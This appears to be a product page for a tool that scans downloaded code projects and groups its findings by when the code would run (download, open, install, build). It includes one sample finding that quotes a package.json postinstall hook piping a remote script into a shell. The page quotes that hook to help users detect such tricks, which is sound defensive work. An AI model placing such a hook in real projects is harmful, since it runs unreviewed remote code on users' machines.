What it examines

Grouped by when it would run — not a vague score

Findings are organised by the moment they’d fire, because “before you even open the editor” is more actionable than “high”.

On downloadHooks that fire the instant you clone or unzip it — before you’ve opened anything.

On openCode that runs the moment the project is opened — editor tasks set to run on folder-open, in-tree git hooks, Unity editor scripts, dev-container commands.

On installScripts that run when you install dependencies — npm lifecycle steps and non-registry sources.

On buildSteps that run when you compile or build the project.

InertSuspicious content that doesn’t run on its own, but is worth seeing — binaries in a source tree, obfuscated blobs, disguised filenames.

The colour marks how soon it fires: red runs on its own before you do anything, amber waits for a command, grey doesn’t run by itself.

The readout: four rungs, never “safe”

A clean result is the bottom rung — and it still says what it couldn’t see.

Known malicious

This exact content matches a known-bad sample. Don’t open it.

Runs code when opened

Something executes before you type a command.

Unusual, nothing automatic

Nothing fires on its own; a few things are worth a look.

Nothing found

No known indicator matched — which is not a guarantee.

What a finding looks like

Every finding is written for a non-expert: what it is, where it is, when it runs, and what to do.

Runs when you install dependencies

CRITICALnpm.lifecycle.network

package.json:6 · "postinstall": "curl https://…/x | sh"

Runs when: You run npm install — before any of your own code.
Why it matters: Fetches and runs a script from the network during install.
Normal looks like: A real project’s postinstall builds local files; it doesn’t pipe the internet into a shell.
What to do: Don’t install. Open package.json and read the scripts block first.